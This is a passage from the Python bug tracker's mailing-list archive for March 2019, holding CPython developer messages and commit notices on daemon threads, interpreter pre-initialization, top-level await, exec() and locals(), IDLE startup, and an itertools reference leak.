> This behaviour that protects against problems due to daemon threads registered with the interpreter can be *very* surprising for C-extensions that are using these functions to implement callbacks that can call into Python.

I really dislike the design of daemon threads. If it would be only me, I would prefer this nasty feature causing so much issues at Python shutdown.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36427>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:19:59 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 22:19:59 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553552399.57.0.25267181017.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 1075d1684ab84dc7c28d93cfb46e95e70d3b6d3b by Victor Stinner in branch 'master':
bpo-36301: Add _Py_GetConfigsAsDict() function (GH-12540)
https://github.com/python/cpython/commit/1075d1684ab84dc7c28d93cfb46e95e70d3b6d3b


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:23:10 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 22:23:10 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553552590.52.0.280226302167.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12491

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:28:05 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 25 Mar 2019 22:28:05 +0000
Subject: [issue36427] Document that PyEval_RestoreThread and PyGILState_Ensure
 can terminate the calling thread
In-Reply-To: <1553552075.96.0.382616254369.issue36427@roundup.psfhosted.org>
Message-ID: <1553552885.08.0.562752634532.issue36427@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

> I really dislike the design of daemon threads. If it would be only me, I would prefer this nasty feature causing so much issues at Python shutdown.

Well, given that this happens as well in Python3.7 and before, at least we should document it and we can think about changing it in the future. But for now, but I suggest keeping both PRs separated (in case we really want to change anything).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36427>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:28:55 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 22:28:55 +0000
Subject: [issue36427] Document that PyEval_RestoreThread and PyGILState_Ensure
 can terminate the calling thread
In-Reply-To: <1553552075.96.0.382616254369.issue36427@roundup.psfhosted.org>
Message-ID: <1553552935.55.0.838635679898.issue36427@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Well, given that this happens as well in Python3.7 and before, at least we should document it and we can think about changing it in the future. But for now, but I suggest keeping both PRs separated (in case we really want to change anything).

Right. It was just a general comment :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36427>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:30:00 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 25 Mar 2019 22:30:00 +0000
Subject: [issue36427] Document that PyEval_RestoreThread and PyGILState_Ensure
 can terminate the calling thread
In-Reply-To: <1553552075.96.0.382616254369.issue36427@roundup.psfhosted.org>
Message-ID: <1553553000.98.0.0832147966333.issue36427@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

> Right. It was just a general comment :-)
Yep, daemon threads are evil :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36427>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:35:35 2019
From: report at bugs.python.org (PEW's Corner)
Date: Mon, 25 Mar 2019 22:35:35 +0000
Subject: [issue36416] bytes.rpartition bug in online documentation
In-Reply-To: <1553437427.15.0.469399643284.issue36416@roundup.psfhosted.org>
Message-ID: <1553553335.24.0.611544143152.issue36416@roundup.psfhosted.org>


Change by PEW's Corner <pewscorner at gmail.com>:


----------
keywords: +patch
pull_requests: +12492
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36416>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:49:56 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 25 Mar 2019 22:49:56 +0000
Subject: [issue34098] multiprocessing.Server swallows original exception
 traceback
In-Reply-To: <1531322431.82.0.56676864532.issue34098@psf.upfronthosting.co.za>
Message-ID: <1553554196.89.0.460160178593.issue34098@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
nosy: +davin, pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34098>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:53:05 2019
From: report at bugs.python.org (Brett Cannon)
Date: Mon, 25 Mar 2019 22:53:05 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1553554385.37.0.690844659003.issue36345@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:


New changeset 360e1e4c519cfc139de707bcdd1e6c871eec79ee by Brett Cannon (St?phane Wirtel) in branch 'master':
bpo-36345: Add a new example in the documentation of wsgiref (#12511)
https://github.com/python/cpython/commit/360e1e4c519cfc139de707bcdd1e6c871eec79ee


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:53:46 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 25 Mar 2019 22:53:46 +0000
Subject: [issue34085] doc Improve wording on classmethod/staticmethod
In-Reply-To: <1531240423.32.0.56676864532.issue34085@psf.upfronthosting.co.za>
Message-ID: <1553554426.63.0.0452850287976.issue34085@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:


New changeset 548cb6060ab9d5a66931ea2be4da08c2c72c9176 by Cheryl Sabella (Andre Delfino) in branch 'master':
bpo-34085: Improve wording on classmethod/staticmethod (#8228)
https://github.com/python/cpython/commit/548cb6060ab9d5a66931ea2be4da08c2c72c9176


----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34085>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:53:56 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 25 Mar 2019 22:53:56 +0000
Subject: [issue34085] doc Improve wording on classmethod/staticmethod
In-Reply-To: <1531240423.32.0.56676864532.issue34085@psf.upfronthosting.co.za>
Message-ID: <1553554436.76.0.415738362725.issue34085@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12493

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34085>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:54:06 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 25 Mar 2019 22:54:06 +0000
Subject: [issue34085] doc Improve wording on classmethod/staticmethod
In-Reply-To: <1531240423.32.0.56676864532.issue34085@psf.upfronthosting.co.za>
Message-ID: <1553554446.22.0.45740522079.issue34085@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12494

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34085>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:58:43 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 25 Mar 2019 22:58:43 +0000
Subject: [issue34085] doc Improve wording on classmethod/staticmethod
In-Reply-To: <1531240423.32.0.56676864532.issue34085@psf.upfronthosting.co.za>
Message-ID: <1553554723.55.0.208239901389.issue34085@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset bd96393cda54044d81054225dcfc1b26374589a8 by Miss Islington (bot) in branch '2.7':
bpo-34085: Improve wording on classmethod/staticmethod (GH-8228)
https://github.com/python/cpython/commit/bd96393cda54044d81054225dcfc1b26374589a8


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34085>
_______________________________________

From report at bugs.python.org  Mon Mar 25 19:00:05 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 25 Mar 2019 23:00:05 +0000
Subject: [issue34085] doc Improve wording on classmethod/staticmethod
In-Reply-To: <1531240423.32.0.56676864532.issue34085@psf.upfronthosting.co.za>
Message-ID: <1553554805.15.0.567319217084.issue34085@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset b23b08623a46cef841038ee32948020692ef1b35 by Miss Islington (bot) in branch '3.7':
bpo-34085: Improve wording on classmethod/staticmethod (GH-8228)
https://github.com/python/cpython/commit/b23b08623a46cef841038ee32948020692ef1b35


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34085>
_______________________________________

From report at bugs.python.org  Mon Mar 25 19:03:17 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 23:03:17 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553554997.15.0.32787338591.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset f78a5e9ce8f32a195f5f788aade79578437f30a6 by Victor Stinner in branch 'master':
bpo-36301: Add _Py_GetEnv() function (GH-12542)
https://github.com/python/cpython/commit/f78a5e9ce8f32a195f5f788aade79578437f30a6


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 25 19:23:35 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 25 Mar 2019 23:23:35 +0000
Subject: [issue34085] doc Improve wording on classmethod/staticmethod
In-Reply-To: <1531240423.32.0.56676864532.issue34085@psf.upfronthosting.co.za>
Message-ID: <1553556215.91.0.0608211777572.issue34085@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Thanks for the report and the PR, Andr?s!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34085>
_______________________________________

From report at bugs.python.org  Mon Mar 25 19:23:44 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 25 Mar 2019 23:23:44 +0000
Subject: [issue34085] doc Improve wording on classmethod/staticmethod
In-Reply-To: <1531240423.32.0.56676864532.issue34085@psf.upfronthosting.co.za>
Message-ID: <1553556224.58.0.528191115366.issue34085@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34085>
_______________________________________

From report at bugs.python.org  Mon Mar 25 19:32:09 2019
From: report at bugs.python.org (Ned Deily)
Date: Mon, 25 Mar 2019 23:32:09 +0000
Subject: [issue36174] Remove licenseUrl field from nuget packages
In-Reply-To: <1551665023.92.0.460080823908.issue36174@roundup.psfhosted.org>
Message-ID: <1553556729.33.0.770926212128.issue36174@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:


New changeset 276dcc8cfbb012c932d86d2af60e1797b22b2d1c by Ned Deily (Miss Islington (bot)) in branch '3.7':
bpo-36174: Update nuget authoring for new license field. (GH-12300)
https://github.com/python/cpython/commit/276dcc8cfbb012c932d86d2af60e1797b22b2d1c


----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36174>
_______________________________________

From report at bugs.python.org  Mon Mar 25 19:49:29 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 25 Mar 2019 23:49:29 +0000
Subject: [issue36428] Support AutoAwait?
Message-ID: <1553557769.34.0.955375021383.issue36428@roundup.psfhosted.org>


New submission from Guido van Rossum <guido at python.org>:

I just found out about IPython's autoawait feature:
https://ipython.readthedocs.io/en/stable/interactive/autoawait.html

I wonder if we should at least help them do this right in Python 3.8 by having a flag to compile() that allows `await` in the toplevel syntax? It looks like a relatively small change would suffice to make compiler_visit_expr1() in Python/compile.c accept (and generate correct code for) Await_kind outside async functions, if some flag is set.

----------
components: Interpreter Core, asyncio
messages: 338840
nosy: asvetlov, gvanrossum, yselivanov
priority: normal
severity: normal
status: open
title: Support AutoAwait?
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36428>
_______________________________________

From report at bugs.python.org  Mon Mar 25 19:49:37 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 23:49:37 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553557777.77.0.278492982551.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12495

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 25 19:50:59 2019
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 25 Mar 2019 23:50:59 +0000
Subject: [issue36428] Support AutoAwait?
In-Reply-To: <1553557769.34.0.955375021383.issue36428@roundup.psfhosted.org>
Message-ID: <1553557859.76.0.519964043201.issue36428@roundup.psfhosted.org>


Yury Selivanov <yselivanov at gmail.com> added the comment:

Absolutely. I think there's another open issue for this and I even have a dev branch somewhere with this idea half implemented.  Definitely something to have in 3.8.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36428>
_______________________________________

From report at bugs.python.org  Mon Mar 25 20:03:32 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 26 Mar 2019 00:03:32 +0000
Subject: [issue36428] Support AutoAwait?
In-Reply-To: <1553557769.34.0.955375021383.issue36428@roundup.psfhosted.org>
Message-ID: <1553558612.26.0.79538060125.issue36428@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I think this is same as issue34616 . The issue talks about the workarounds IPython has to use for the feature and links to the PR where it was implemented https://github.com/ipython/ipython/pull/11265 . I never knew about this feature and this will be very helpful to have especially it reduces boilerplate in having async functions for await calls though asyncio.run improved setting up loop part. Helps in playing around with API in repl during learning with top level await expressions allowed in repl.

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36428>
_______________________________________

From report at bugs.python.org  Mon Mar 25 20:05:56 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 26 Mar 2019 00:05:56 +0000
Subject: [issue36428] Support AutoAwait?
In-Reply-To: <1553557769.34.0.955375021383.issue36428@roundup.psfhosted.org>
Message-ID: <1553558756.02.0.698919333593.issue36428@roundup.psfhosted.org>


Guido van Rossum <guido at python.org> added the comment:

Oh, you're right. Thanks! Closing in favor of issue34616.

----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36428>
_______________________________________

From report at bugs.python.org  Mon Mar 25 20:08:11 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 26 Mar 2019 00:08:11 +0000
Subject: [issue34616] implement "Async exec"
In-Reply-To: <1536530232.25.0.56676864532.issue34616@psf.upfronthosting.co.za>
Message-ID: <1553558891.55.0.368994312206.issue34616@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34616>
_______________________________________

From report at bugs.python.org  Mon Mar 25 20:09:01 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 26 Mar 2019 00:09:01 +0000
Subject: [issue36428] Support AutoAwait?
In-Reply-To: <1553557769.34.0.955375021383.issue36428@roundup.psfhosted.org>
Message-ID: <1553558941.23.0.485478656196.issue36428@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
superseder:  -> implement "Async exec"

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36428>
_______________________________________

From report at bugs.python.org  Mon Mar 25 21:05:01 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Tue, 26 Mar 2019 01:05:01 +0000
Subject: [issue36426] exec() issue when used inside function
In-Reply-To: <1553535065.81.0.184329137426.issue36426@roundup.psfhosted.org>
Message-ID: <1553562301.87.0.336757991122.issue36426@roundup.psfhosted.org>


Emmanuel Arias <emmanuelarias30 at gmail.com> added the comment:

I test on 3.5 and 3.8 running not in an func and I don't have the problem:

Python 3.8.0a2+ (heads/bpo-36287:ba8f342623, Mar 25 2019, 21:57:16) 
[GCC 6.3.0 20170516] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = 'bar'
>>> b = 42
>>> c  = a + ' = c'
>>> c
'bar = c'
>>> exec(c)
>>> 'bar' in locals()
True
>>> print(locals()['bar'])
bar = c
>>> print(bar)
bar = c
>>> print("'bar' OK:", bar)
'bar' OK: bar = c

----------
nosy: +eamanu

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36426>
_______________________________________

From report at bugs.python.org  Mon Mar 25 21:07:12 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Tue, 26 Mar 2019 01:07:12 +0000
Subject: [issue36426] exec() issue when used inside function
In-Reply-To: <1553535065.81.0.184329137426.issue36426@roundup.psfhosted.org>
Message-ID: <1553562432.47.0.422388140722.issue36426@roundup.psfhosted.org>


Emmanuel Arias <emmanuelarias30 at gmail.com> added the comment:

But I confirmed the behavior reported


uhmm weird

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36426>
_______________________________________

From report at bugs.python.org  Mon Mar 25 21:31:15 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 01:31:15 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553563875.43.0.170515483024.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 20004959d23d07ac784eef51ecb161012180faa8 by Victor Stinner in branch 'master':
bpo-36301: Remove _PyCoreConfig.preconfig (GH-12546)
https://github.com/python/cpython/commit/20004959d23d07ac784eef51ecb161012180faa8


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 25 22:27:12 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Tue, 26 Mar 2019 02:27:12 +0000
Subject: [issue34632] Port importlib_metadata to Python 3.8
In-Reply-To: <1536689803.48.0.0269046726804.issue34632@psf.upfronthosting.co.za>
Message-ID: <1553567232.94.0.425378027301.issue34632@roundup.psfhosted.org>


Change by Jason R. Coombs <jaraco at jaraco.com>:


----------
pull_requests: +12496

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34632>
_______________________________________

From report at bugs.python.org  Mon Mar 25 23:09:18 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 26 Mar 2019 03:09:18 +0000
Subject: [issue36429] Fix starting IDLE with pyshell
Message-ID: <1553569758.24.0.333404497739.issue36429@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

python -m idlelib.pyshell  # and
python f:/dev/3x/lib/idlelib/pyshell.py  # for instance
no longer start IDLE properly.  The separate subprocess startup command for when pyshell is the main, from 2004, is obsolete and no longer needed.  The command needed is the same as for when IDLE is started otherwise.  It works with either method of starting IDLE with pyshell.

In addition, two modules are created from pyshell.py, with names '__main__' and 'idlelib.pyshell'.  The attempt to prevent this should be at the top of the file instead of the bottem and now needs to add 'idlelib.pyshell' instead of 'pyshell'.  The test for this was to (temporarily) add 'print('running')' at the top of the file and see if 'running\n' is printed to the terminal once or twice.

An automated test might be done as follows:
1. Move imports in main(), including that of 'testing', to top of file.
2. Add, for instance, 'if testing: print('running') after the import.
3. Mock main().
4. Use test.support for 'with <captured stdout>: run pyshell.py'.
5. Check captured stdout for exactly one 'running' occurrence.

----------
assignee: terry.reedy
components: IDLE
messages: 338847
nosy: cheryl.sabella, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Fix starting IDLE with pyshell
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36429>
_______________________________________

From report at bugs.python.org  Mon Mar 25 23:14:49 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 26 Mar 2019 03:14:49 +0000
Subject: [issue36429] Fix starting IDLE with pyshell
In-Reply-To: <1553569758.24.0.333404497739.issue36429@roundup.psfhosted.org>
Message-ID: <1553570089.7.0.214335237088.issue36429@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

The shell actually 'starts', but with an empty box and no prompt.

I am thinking of eventually deprecating and disabling starting with pyshell, but until we do, it should work.  If nothing else, we should be able to display a deprecation notice if that becomes appropriate.

The lack of reports does suggest that most affected people either switched to an approved method or another IDE.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36429>
_______________________________________

From report at bugs.python.org  Mon Mar 25 23:31:31 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 26 Mar 2019 03:31:31 +0000
Subject: [issue36426] exec() issue when used inside function
In-Reply-To: <1553535065.81.0.184329137426.issue36426@roundup.psfhosted.org>
Message-ID: <1553571091.04.0.186705280894.issue36426@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

This is currently by design, which means 3.8 is likely the only viable place it can change. It's also not Windows specific so I removed that component (people may remove themselves from nosy).

But +Nick, since I know he has some interest in making locals() behave more consistently. Currently it's basically a read-only proxy, as locals are optimized within functions which is why you can't see updates via the duct.

----------
components:  -Windows
nosy: +ncoghlan
versions: +Python 3.8, Python 3.9 -Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36426>
_______________________________________

From report at bugs.python.org  Tue Mar 26 00:09:45 2019
From: report at bugs.python.org (Orivej Desh)
Date: Tue, 26 Mar 2019 04:09:45 +0000
Subject: [issue22189] collections.UserString missing some str methods
In-Reply-To: <1407908952.77.0.872981126645.issue22189@psf.upfronthosting.co.za>
Message-ID: <1553573385.35.0.201078433943.issue22189@roundup.psfhosted.org>


Orivej Desh <orivej at gmx.fr> added the comment:

collections.UserString.__rmod__ references an undefined variable `args`:

    def __rmod__(self, format):
        return self.__class__(format % args)

https://github.com/python/cpython/commit/573b44c18f69307d7dbc95c950aab57ef7ea303e#diff-8a750c700ae5ac1d0a14922de83e99ccR1109

----------
nosy: +orivej

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22189>
_______________________________________

From report at bugs.python.org  Tue Mar 26 00:12:09 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 26 Mar 2019 04:12:09 +0000
Subject: [issue36429] Fix starting IDLE with pyshell
In-Reply-To: <1553569758.24.0.333404497739.issue36429@roundup.psfhosted.org>
Message-ID: <1553573529.71.0.269559122987.issue36429@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
keywords: +patch
pull_requests: +12497
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36429>
_______________________________________

From report at bugs.python.org  Tue Mar 26 00:15:38 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 26 Mar 2019 04:15:38 +0000
Subject: [issue36429] Fix starting IDLE with pyshell
In-Reply-To: <1553569758.24.0.333404497739.issue36429@roundup.psfhosted.org>
Message-ID: <1553573738.05.0.00516570434485.issue36429@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

One can start IDLE from python with import idlelib.idle or import idlelib.__main__ but not by importing pyshell, as there is alread a __main__ module.  I cannot think of anything else to check.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36429>
_______________________________________

From report at bugs.python.org  Tue Mar 26 00:24:27 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 26 Mar 2019 04:24:27 +0000
Subject: [issue22189] collections.UserString missing some str methods
In-Reply-To: <1407908952.77.0.872981126645.issue22189@psf.upfronthosting.co.za>
Message-ID: <1553574267.9.0.0493113499764.issue22189@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Orivej Desh, would you care to make PR to fix this (and add a test)?

----------
priority: low -> 
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22189>
_______________________________________

From report at bugs.python.org  Tue Mar 26 01:36:11 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Tue, 26 Mar 2019 05:36:11 +0000
Subject: [issue36430] A possible reference leak in itertools.count()
Message-ID: <1553578571.99.0.594880448437.issue36430@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

"long_step" is leaked in itertools_count_impl() if the type->tp_alloc() call fails.

----------
components: Extension Modules
messages: 338853
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: A possible reference leak in itertools.count()
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36430>
_______________________________________

From report at bugs.python.org  Tue Mar 26 01:38:40 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Tue, 26 Mar 2019 05:38:40 +0000
Subject: [issue36430] A possible reference leak in itertools.count()
In-Reply-To: <1553578571.99.0.594880448437.issue36430@roundup.psfhosted.org>
Message-ID: <1553578720.18.0.149052399305.issue36430@roundup.psfhosted.org>


Change by Zackery Spytz <zspytz at gmail.com>:


----------
keywords: +patch
pull_requests: +12498
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36430>
_______________________________________

From report at bugs.python.org  Tue Mar 26 02:05:37 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 26 Mar 2019 06:05:37 +0000
Subject: [issue36430] A possible reference leak in itertools.count()
In-Reply-To: <1553578571.99.0.594880448437.issue36430@roundup.psfhosted.org>
Message-ID: <1553580337.43.0.177239077225.issue36430@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 0523c39e7720b82b38ad793d3f1a5681adcdf873 by Serhiy Storchaka (Zackery Spytz) in branch 'master':
bpo-36430: Fix a possible reference leak in itertools.count(). (GH-12551)
https://github.com/python/cpython/commit/0523c39e7720b82b38ad793d3f1a5681adcdf873


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36430>
_______________________________________

From report at bugs.python.org  Tue Mar 26 02:07:53 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 06:07:53 +0000
Subject: [issue36430] A possible reference leak in itertools.count()
In-Reply-To: <1553578571.99.0.594880448437.issue36430@roundup.psfhosted.org>
Message-ID: <1553580473.98.0.678133635205.issue36430@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12499

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36430>
_______________________________________

From report at bugs.python.org  Tue Mar 26 02:12:12 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 26 Mar 2019 06:12:12 +0000
Subject: [issue22189] collections.UserString missing some str methods
In-Reply-To: <1407908952.77.0.872981126645.issue22189@psf.upfronthosting.co.za>
Message-ID: <1553580732.86.0.0698531116874.issue22189@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

> collections.UserString.__rmod__ references an undefined variable `args`:

This is a duplicate of issue25652.

----------
nosy: +serhiy.storchaka
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22189>
_______________________________________

From report at bugs.python.org  Tue Mar 26 02:26:44 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 06:26:44 +0000
Subject: [issue36430] A possible reference leak in itertools.count()
In-Reply-To: <1553578571.99.0.594880448437.issue36430@roundup.psfhosted.org>
Message-ID: <1553581604.55.0.770371026928.issue36430@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset e0fe25be1ecbdf4abd1b0edd4aabacc4d75dec41 by Miss Islington (bot) in branch '3.7':
bpo-36430: Fix a possible reference leak in itertools.count(). (GH-12551)
https://github.com/python/cpython/commit/e0fe25be1ecbdf4abd1b0edd4aabacc4d75dec41


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36430>
_______________________________________

From report at bugs.python.org  Tue Mar 26 02:33:08 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 26 Mar 2019 06:33:08 +0000
Subject: [issue36431] Use dict unpacking for merging two dicts
Message-ID: <1553581988.35.0.681522734554.issue36431@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

The following PR replaces the sequence of statement

    d = d1.copy()
    d.update(d2)

